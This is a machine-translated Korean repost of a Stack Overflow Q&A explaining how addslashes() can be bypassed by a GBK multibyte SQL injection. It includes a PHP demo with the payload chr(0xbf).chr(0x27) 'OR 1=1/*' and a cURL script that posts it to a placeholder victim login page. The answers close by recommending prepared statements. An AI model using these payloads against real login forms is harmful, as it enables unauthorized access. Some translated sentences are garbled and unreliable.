adslash()를 통한 SQL 주입의 예?
PHP에서, 나는 그것을 알고 있다.mysql_real_escape
사용하는 것보다 훨씬 안전합니다.addslashes
하지만, 나는 그 상황의 예를 찾을 수 없었다.addslashes
SQL 주입이 발생할 수 있습니다.
누가 예를 들어줄 수 있나요?
여기 당신이 원하는 기사가 있습니다.
기본적으로 공격이 작동하는 방법은addslashes()
백슬래시가 유효한 멀티바이트시퀀스의 일부가 됨으로써 그 의미를 상실하도록 멀티바이트 문자의 중간에 백슬래시를 배치한다.
기사의 일반적인 경고:
이러한 유형의 공격은 유효한 멀티바이트 문자가 다음 문자로 끝나는 모든 문자 인코딩에서 가능합니다.
0x5c
,왜냐면addslashes()
는 뒤에 나오는 단일 따옴표를 피하는 대신 유효한 멀티바이트 문자를 작성하도록 속일 수 있습니다.UTF-8은 이 설명에 맞지 않습니다.
Chris Shiflett은 아래의 예에서 "데이터베이스에서 GBK 인코딩을 사용할 때 시도하면 당연히 효과가 있습니다."라고 명확하게 설명합니다.제가 시도해도 SQL 주입의 가능성은 매우 적지만 지식과 능력이 뛰어난 사람이 쉽게 주입할 수 있다는 것을 증명합니다.여기 예가 있습니다...
<?php
$mysql = array();
$db = mysqli_init();
$db->real_connect('localhost', 'myuser', 'mypass', 'mydb');
/* SQL Injection Example */
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
$_POST['password'] = 'guess';
$mysql['username'] = addslashes($_POST['username']);
$mysql['password'] = addslashes($_POST['password']);
$sql = "SELECT * FROM users
WHERE username = '{$mysql['username']}'
AND password = '{$mysql['password']}'";
$result = $db->query($sql);
if ($result->num_rows) {
/* Success */
} else {
/* Failure */
}
?>
addslash() 또는 magic_quotes_gpc를 사용하는 것은 일반적으로 다소 안전한 것으로 간주되지만 GBK를 사용하면 거의 사용할 수 없게 됩니다.다음 PHP cURL 스크립트는 주입을 사용할 수 있습니다.이것이 조금 더 이해하는데 도움이 되었으면 합니다.
<?php
$url = "http://www.victimsite.com/login.php";
$ref = "http://www.victimsite.com/index.php";
$session = "PHPSESSID=abcdef01234567890abcdef01";
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_REFERER, $ref );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE );
curl_setopt( $ch, CURLOPT_COOKIE, $session );
curl_setopt( $ch, CURLOPT_POST, TRUE );
curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" . chr(0xbf) . chr(0x27) .
"OR 1=1/*&submit=1" );
$data = curl_exec( $ch );
print( $data );
curl_close( $ch );
?>
여기에 있는 답변의 독자를 위한 추가 정보:이 MySQL 버그는 이미 수정되었습니다.
또한, 준비된 문장을 사용하는 것은 항상 좋은 관행입니다.이는 가장 악용되지 않고 쿼리를 실행할 수 있는 방법입니다(몇 가지 사용 사례에서는 가장 성능이 우수합니다).그리고 그것은 당신을 이 결점으로부터 구했을 것입니다.
mysql_real_escape_string() 대 Prepared 스테이트먼트는 mysql_real_escape_string()이 100% 안전하지 않다는 것을 명확하게 설명합니다.
mysql_set_charset("GBK")를 사용하여 mysql_query("SET CHARTER SET "GBK")를 대체하면 mysql_real_escape_string()은 100% 안전합니다.
언급URL : https://stackoverflow.com/questions/860954/examples-of-sql-injections-through-addslashes
'programing' 카테고리의 다른 글
오류 2002(HY000):소켓 '/tmp/mysql'을 통해 로컬 MySQL 서버에 연결할 수 없습니다.Mac Big Sur의 양말' (2) (0) | 2022.10.05 |
---|---|
이상한 MySQL 팝업 "Mysql 설치 프로그램이 커뮤니티 모드를 실행하고 있습니다." (0) | 2022.10.05 |
sl4fj와 유사한 일반적인 문자열 대체 기능이 있습니까? (0) | 2022.10.05 |
마리아답은 시동이 걸리지 않는다.제어 프로세스가 종료되었습니다. (0) | 2022.10.05 |
PHP에서 현재 함수의 이름을 검색하는 중 (0) | 2022.10.05 |